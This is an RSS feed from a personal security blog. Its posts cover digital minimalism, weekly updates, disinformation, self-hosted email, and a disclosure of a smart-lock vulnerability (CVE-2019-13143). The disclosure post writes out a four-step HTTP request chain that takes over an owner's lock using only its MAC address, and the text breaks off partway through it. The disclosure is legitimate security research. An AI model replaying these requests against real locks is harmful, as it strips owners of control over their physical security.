build/blog/feed.xml (view raw)
1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
2 <channel>
3 <title>icyphox's blog</title>
4 <link>https://icyphox.sh/blog/</link>
5 <description>Security, forensics and privacy.</description>
6 <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
7 <image>
8 <title>icyphox logo</title>
9 <url>https://icyphox.sh/icyphox.png</url>
10 <link>https://icyphox.sh/blog/</link>
11 </image>
12 <language>en-us</language>
13 <copyright>Creative Commons BY-NC-SA 4.0</copyright>
14 <item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
15subject. But this is inherently different, since it’s <em>my</em> opinion on
16the matter, and <em>my</em> technique(s) to acheive “digital minimalism”.</p>
17
18<p>According to me, minimalism can be acheived on two primary fronts –
19the phone & the computer. Let’s start with the phone. The daily carry.
20The device that’s on our person from when we get out of bed, till we get
21back in bed.</p>
22
23<h3 id="the-phone">The phone</h3>
24
25<p>I’ve read about a lot of methods people employ to curb their phone
26usage. Some have tried grouping “distracting” apps into a separate
27folder, and this supposedly helps reduce their usage. Now, I fail to see
28how this would work, but YMMV. Another technique I see often is using
29a time governance app—like OnePlus’ Zen Mode—to enforce how much
30time you spend using specific apps, or the phone itself. I’ve tried this
31for myself, but I constantly found myself counting down the minutes
32after which the phone would become usable again. Not helpful.</p>
33
34<p>My solution to this is a lot more brutal. I straight up uninstalled the
35apps that I found myself using too often. There’s a simple principle
36behind it – if the app has a desktop alternative, like Twitter,
37Reddit, etc. use that instead. Here’s a list of apps that got nuked from
38my phone:</p>
39
40<ul>
41<li>Twitter</li>
42<li>Instagram (an exception, no desktop client)</li>
43<li>Relay for Reddit</li>
44<li>YouTube (disabled, ships with stock OOS)</li>
45</ul>
46
47<p>The only non-productive app that I’ve let remain is Clover,
48a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that
49holds up. I’ve also allowed my personal messaging apps to remain, since
50removing those would be inconveniencing others.</p>
51
52<p>I must admit, I often find myself reaching for my phone out of habit
53just to check Twitter, only to find that its gone. I also subconsciously
54tap the place where its icon used to exist (now replaced with my mail
55client) on my launcher. The only “fun” thing left on my phone to do is
56read or listen to music. Which is okay, in my opinion.</p>
57
58<h3 id="the-computer">The computer</h3>
59
60<p>I didn’t do anything too nutty here, and most of the minimalism is
61mostly aesthetic. I like UIs that get out of the way. </p>
62
63<p>My setup right now is just a simple bar at the top showing the time,
64date, current volume and battery %, along with my workspace indicators.
65No fancy colors, no flashy buttons and sliders. And that’s it. I don’t
66try to force myself to not use stuff – after all, I’ve reduced it
67elsewhere. :)</p>
68
69<p>Now the question arises: Is this just a phase, or will I stick to it?
70What’s going to stop me from heading over to the Play Store and
71installing those apps back? Well, I never said this was going to be
72easy. There’s definitely some will power needed to pull this off.
73I guess time will tell.</p>
74]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my
75uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened
76since then. Let’s get right into it!</p>
77
78<h3 id="my-switch-to-alpine">My switch to Alpine</h3>
79
80<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
81
82<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
83<span class="m">3817</span>
84
85<span class="c1"># or something in that ballpark</span>
86</code></pre></div>
87
88<p>I’ve been wanting to reduce my system’s package count.</p>
89
90<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
91sane package manager. I did come across Dylan Araps’
92<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
93for me (and still relatively new). I finally settled on
94<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
95
96<blockquote>
97 <p>Alpine Linux is a security-oriented, lightweight Linux distribution based
98 on musl libc and busybox.</p>
99</blockquote>
100
101<p>The installation was a breeze, and I was quite surprised to see WiFi working
102OOTB. In the past week of my using this distro, the only major hassle I faced
103was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code>
104yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
105soon. (hint: it involves chroots)</p>
106
107<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
108
109<h3 id="packaging-for-alpine">Packaging for Alpine</h3>
110
111<p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine
112– you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
113repository if you’re interested. I’m currently working on packaging Nim too, so
114keep an eye out for that in the coming week.</p>
115
116<h3 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h3>
117
118<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
119going to be speaking at PyCon India about our recent smart lock security
120research. The conference is happening in Chennai, much to our convenience.
121If you’re attending too, hit me up on Twitter and we can hang!</p>
122
123<h3 id="other">Other</h3>
124
125<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
126strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This
127week, for sure.</p>
128
129<p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and
130I think I like it? I still find myself coming back to metalcore/deathcore.
131Here’s a list of artists I discovered (and liked) recently:</p>
132
133<ul>
134<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
135<li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li>
136<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
137<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
138<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
139</ul>
140
141<p>That’s it for now, I’ll see you next week!</p>
142
143<div class="footnotes">
144<hr />
145<ol>
146<li id="fn-1">
147<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
148</li>
149</ol>
150</div>
151]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently
152and to serve as a log of how I’m using my time. In theory, I will write this post
153every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on
154a format for this, but it will probably include a quick summary of the work I did,
155things I read, IRL stuff, etc.</p>
156
157<p>With the meta stuff out of the way, here’s what went down last week!</p>
158
159<h3 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h3>
160
161<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to
162the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
163It creates a small community of sites and enables sharing of traffic among these sites.
164The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
165of those sites are beautiful. Mine pales in comparison.</p>
166
167<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
168called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
169and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
170twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
171
172<p>Which brings me to the next thing I did this/last week.</p>
173
174<h3 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h3>
175
176<p>I’m not a fan of the official Python client, because you know, Python is bloat.
177As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my
178authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
179It’s not entirely useable as of yet, but it’s definitely getting there, with the help
180of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
181
182<h3 id="other">Other</h3>
183
184<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
185Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER.
186It’s pretty good – each episode is only about 30 mins and it hits the sweet spot,
187delvering both interesting security content and news.</p>
188
189<p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up
190“The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p>
191
192<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly
193easy to pick up. Learning the Cyrillic script will require some relearning, especially
194with letters like в, н, р, с, etc. that look like English but sound entirely different.
195I think I’m pretty serious about learning this language – I’ve added the Russian keyboard
196to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code>
197layout to my keyboard map too:</p>
198
199<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
200</code></pre>
201
202<p>With that ends my weekly update, and I’ll see you next week!</p>
203]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton.
204According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
205<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция),
206derived from the title of a KGB black propaganda department.</p>
207
208<blockquote>
209 <p>Disinformation is false information spread deliberately to deceive.</p>
210</blockquote>
211
212<p>To fully understand disinformation, especially in the modern age, we need to understand the
213key factors of any successful disinformation operation:</p>
214
215<ul>
216<li>creating disinformation (what)</li>
217<li>the motivation behind the op, or its end goal (why)</li>
218<li>the medium used to disperse the falsified information (how)</li>
219<li>the actor (who)</li>
220</ul>
221
222<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
223
224<p>In order to break monotony, I will also be using the terms “information operation”, or the shortened
225forms – “info op” & “disinfo”.</p>
226
227<h3 id="creating-disinformation">Creating disinformation</h3>
228
229<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
230of any disinformation sample is a huge indicator of the level of sophistication of the
231actor involved, i.e. is it a 12 year old troll or a nation state?</p>
232
233<p>Well crafted disinformation always has one primary characteristic — “plausibility”.
234The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true.
235To achieve this, the target — be it an individual, a specific demographic or an entire
236nation — must be well researched. A deep understanding of the target’s culture, history,
237geography and psychology is required. It also needs circumstantial and situational awareness,
238of the target.</p>
239
240<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
241recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p>
242
243<p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
244imagery:</p>
245
246<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
247<p lang="en" dir="ltr">Disinformation.
248<br><br>
249The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
250<br><br>Recontextualisation as threat vector.
251<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
252</p>— thaddeus e. grugq (@thegrugq)
253<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
254</blockquote>
255
256<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
257
258<h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3>
259
260<p>I like to broadly categorize any info op as either proactive or reactive.
261Proactively, disinformation is spread with the desire to influence the target
262either before or during the occurence of an event. This is especially observed
263during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
264In offensive information operations, the target’s psychological state can be affected by
265spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p>
266
267<p>Reactive disinformation is when the actor, usually a nation state in this case,
268screws up and wants to cover their tracks. A fitting example of this is the case
269of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
270eastern Ukraine. This tragic incident has been attributed to Russian-backed
271separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>
272Russian media is known to have desseminated a number of alternative & some even
273conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint
274Investigation Team) investigations pointed towards the separatists.
275The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
276potentially correct information takes a credibility hit.</p>
277
278<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
279in totalitarian regimes; when the government decides what the media portrays to the
280masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
281
282<blockquote>
283 <p>Official state media pin the blame for protests on the “black hand” of foreign interference,
284 namely from the United States, and what they have called criminal Hong Kong thugs.
285 A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
286 who are demanding an end to an extradition bill with China and the ability to elect their own leader.
287 Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
288 this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
289 …</p>
290</blockquote>
291
292<h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3>
293
294<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
295play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s
296popularity.</p>
297
298<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
299generate activity programmatically via the API, Twitter bots are the go-to choice today for
300info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
301to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
302get realtime insights into what sticks and what doesn’t.
303The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
304factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
305to create discussions about alternative theories.</p>
306
307<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
308actively invest in creating group chats to spread political messages and memes. These parties
309have volunteers whose sole job is to sit and forward messages.
310Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
311this is disinformation without a motive, or the motive is hard to determine simply because
312the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
313This is a difficult problem to combat, especially given the nature of the target audience.</p>
314
315<h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3>
316
317<p>I doubt this requires further elaboration, but in short:</p>
318
319<ul>
320<li>nation states and their intelligence agencies</li>
321<li>governments, political parties</li>
322<li>other non/quasi-governmental groups</li>
323<li>trolls</li>
324</ul>
325
326<p>This essentially sums up the what, why, how and who of disinformation. </p>
327
328<h3 id="personal-opsec">Personal OPSEC</h3>
329
330<p>This is a fun one. Now, it’s common knowledge that
331<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
332afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
333lead to your OPSEC being compromised.
334So if you really have to, you can feign activity using disinformation. For example,
335pick a place, and throw in subtle details pertaining to the weather, local events
336or regional politics of that place into your disinfo. Assuming this is Twitter, you can
337tweet stuff like:</p>
338
339<ul>
340<li>“Ugh, when will this hot streak end?!”</li>
341<li>“Traffic wonky because of the Mardi Gras parade.”</li>
342<li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li>
343</ul>
344
345<p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p>
346
347<p>And please, don’t do this:</p>
348
349<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
350
351<h3 id="conclusion">Conclusion</h3>
352
353<p>The ability to influence someone’s decisions/thought process in just one tweet is
354scary. There is no simple way to combat disinformation. Social media is hard to control.
355Just like anything else in cyber, this too is an endless battle between social media corps
356and motivated actors.</p>
357
358<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
359folks see the truth in a post-truth world.</p>
360
361<div class="footnotes">
362<hr />
363<ol>
364<li id="fn-1">
365<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
366</li>
367
368<li id="fn-2">
369<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
370</li>
371
372<li id="fn-3">
373<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
374</li>
375
376<li id="fn-4">
377<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p>
378</li>
379
380<li id="fn-5">
381<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p>
382</li>
383</ol>
384</div>
385]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up
386around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
387I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
388
389<p>For this attempt, I wanted a simpler approach. I recall how terribly
390confusing Dovecot & Postfix were to configure and hence I decided to look
391for a containerized solution, that most importantly, runs on my cheap $5
392Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB
393is actually available. So yeah, <em>pretty</em> tight.</p>
394
395<h3 id="whats-available">What’s available</h3>
396
397<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
398These are the ones I came across:</p>
399
400<ul>
401<li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source
402and free (as in beer), but you’ll have to pay for the extra stuff.</p></li>
403<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io,
404but ships with a web UI that I didn’t need. </p></li>
405<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
406they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
407<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
408a mention. It however, needs a fresh box to work with. A box with absolutely
409nothing else on it. I can’t afford to do that.</p></li>
410<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
411</ul>
412
413<h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3>
414
415<p>The first thing that caught my eye in the README:</p>
416
417<blockquote>
418 <p>Recommended:</p>
419
420 <ul>
421 <li>1 CPU</li>
422 <li>1GB RAM</li>
423 </ul>
424
425 <p>Minimum:</p>
426
427 <ul>
428 <li>1 CPU</li>
429 <li>512MB RAM</li>
430 </ul>
431</blockquote>
432
433<p>Fantastic, I can somehow squeeze this into my existing VPS.
434Setup was fairly simple & the docs are pretty good. It employs a single
435<code>.env</code> file for configuration, which is great.
436However, I did run into a couple of hiccups here and there.</p>
437
438<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
439of memory.</p>
440
441<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
442</code></pre>
443
444<p>But it eventually worked after a couple of attempts.</p>
445
446<p>The next thing I struggled with — DNS. Specifically, the with the step where
447the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
448<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
449isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into
450a <code>TXT</code> record. </p>
451
452<p>This is what it looks like.</p>
453
454<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
455 "p=<key>"
456 "<more key>" ) ; ----- DKIM key mail for icyphox.sh
457</code></pre>
458
459<p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>,
460and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>.
461Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
462
463<p>To simplify debugging DNS issues later, it’s probably a good idea to
464point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
465<code>A</code> record.
466You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider
467uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>.
468And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
469your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>.
470I learnt this part the hard way, when my outgoing email kept getting
471rejected by Tutanota’s servers.</p>
472
473<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly
474documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
475and look at an example. In short, install <code>certbot</code>, have port 80 free,
476and run </p>
477
478<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
479</code></pre></div>
480
481<p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
482the container, something like so:</p>
483
484<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
485
486<span class="nt">volumes</span><span class="p">:</span>
487 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
488 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
489 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
490 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
491
492<span class="nn">...</span>
493</code></pre></div>
494
495<p>With this done, you shouldn’t have mail clients complaining about
496wonky certs for which you’ll have to add an exception manually.</p>
497
498<h3 id="why-would-you">Why would you…?</h3>
499
500<p>There are a few good reasons for this:</p>
501
502<h4 id="privacy">Privacy</h4>
503
504<p>No really, this is <em>the</em> best choice for truly private
505email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t
506dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
507
508<blockquote>
509 <p>Truly secure systems do not require you to trust the service provider.</p>
510</blockquote>
511
512<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
513how can you really be sure that it isn’t a backdoored version of it?</p>
514
515<p>When you host your own mailserver, you truly own your email without having to rely on any
516third-party.
517This isn’t an attempt to spread FUD. In the end, it all depends on your
518threat model™.</p>
519
520<h4 id="decentralization">Decentralization</h4>
521
522<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
523active users. That’s obscene.
524Email was designed to be decentralized but big corps swooped in and
525made it a product. They now control your data, and it isn’t unknown that
526Google reads your mail. This again loops back to my previous point, privacy.
527Decentralization guarantees privacy. When you control your mail, you subsequently
528control who reads it.</p>
529
530<h4 id="personalization">Personalization</h4>
531
532<p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p>
533
534<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
535
536<p>Pfft, this is no competition.</p>
537
538<div class="footnotes">
539<hr />
540<ol>
541<li id="fn-1">
542<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
543</li>
544
545<li id="fn-2">
546<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
547</li>
548
549<li id="fn-3">
550<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
551</li>
552</ol>
553</div>
554]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p>
555
556<h3 id="the-lock">The lock</h3>
557
558<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
559Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
560across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
561
562<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
563the Play/App Store to function. The app requires the user to create an
564account before further functionality is available.
565It also facilitates configuring the fingerprint,
566and unlocking from a range via Bluetooth.</p>
567
568<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
569and the Android app.</p>
570
571<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
572
573<p>Android phones have the ability to capture Bluetooth (HCI) traffic
574which can be enabled under Developer Options under Settings. We made
575around 4 “unlocks” from the Android phone, as seen in the screenshot.</p>
576
577<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
578
579<p>This is the value sent in the <code>Write</code> request:</p>
580
581<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
582
583<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
584but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
585
586<h3 id="via-the-android-app">Via the Android app</h3>
587
588<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too
589far since most of it was obfuscated. Why bother when there exists an
590easier approach – BurpSuite.</p>
591
592<p>We captured and played around with a bunch of requests and responses,
593and finally arrived at a working exploit chain.</p>
594
595<h3 id="the-exploit">The exploit</h3>
596
597<p>The entire exploit is a 4 step process consisting of authenticated
598HTTP requests:</p>
599
600<ol>
601<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the
602vicinity), get the barcode and lock ID</li>
603<li>Using the barcode, fetch the user ID</li>
604<li>Using the lock ID and user ID, unbind the user from the lock</li>
605<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker
606to the lock</li>
607</ol>
608
609<p>This is what it looks like, in essence (personal info redacted).</p>
610
611<h4 id="request-1">Request 1</h4>
612
613<pre><code>POST /oklock/lock/queryDevice
614{"mac":"XX:XX:XX:XX:XX:XX"}
615</code></pre>
616
617<p>Response:</p>
618
619<pre><code>{
620 "result":{
621 "alarm":0,
622 "barcode":"<BARCODE>",
623 "chipType":"1",
624 "createAt":"2019-05-14 09:32:23.0",
625 "deviceId":"",
626 "electricity":"95",
627 "firmwareVersion":"2.3",
628 "gsmVersion":"",
629 "id":<LOCK ID>,
630 "isLock":0,
631 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
632 "lockPwd":"000000",
633 "mac":"XX:XX:XX:XX:XX:XX",
634 "name":"lock",
635 "radioName":"BlueFPL",
636 "type":0
637 },
638 "status":"2000"
639}
640</code></pre>
641
642<h4 id="request-2">Request 2</h4>
643
644<pre><code>POST /oklock/lock/getDeviceInfo
645
646{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
647</code></pre>
648
649<p>Response:</p>
650
651<pre><code> "result":{
652 "account":"email@some.website",
653 "alarm":0,
654 "barcode":"<BARCODE>",
655 "chipType":"1",
656 "createAt":"2019-05-14 09:32:23.0",
657 "deviceId":"",
658 "electricity":"95",
659 "firmwareVersion":"2.3",
660 "gsmVersion":"",
661 "id":<LOCK ID>,
662 "isLock":0,
663 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
664 "lockPwd":"000000",
665 "mac":"XX:XX:XX:XX:XX:XX",
666 "name":"lock",
667 "radioName":"BlueFPL",
668 "type":0,
669 "userId":<USER ID>
670 }
671</code></pre>
672
673<h4 id="request-3">Request 3</h4>
674
675<pre><code>POST /oklock/lock/unbind
676
677{"lockId":"<LOCK ID>","userId":<USER ID>}
678</code></pre>
679
680<h4 id="request-4">Request 4</h4>
681
682<pre><code>POST /oklock/lock/bind
683
684{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
685</code></pre>
686
687<h3 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h3>
688
689<p>You should have the lock transferred to your account. The severity of this
690issue lies in the fact that the original owner completely loses access to
691their lock. They can’t even “rebind” to get it back, since the current owner
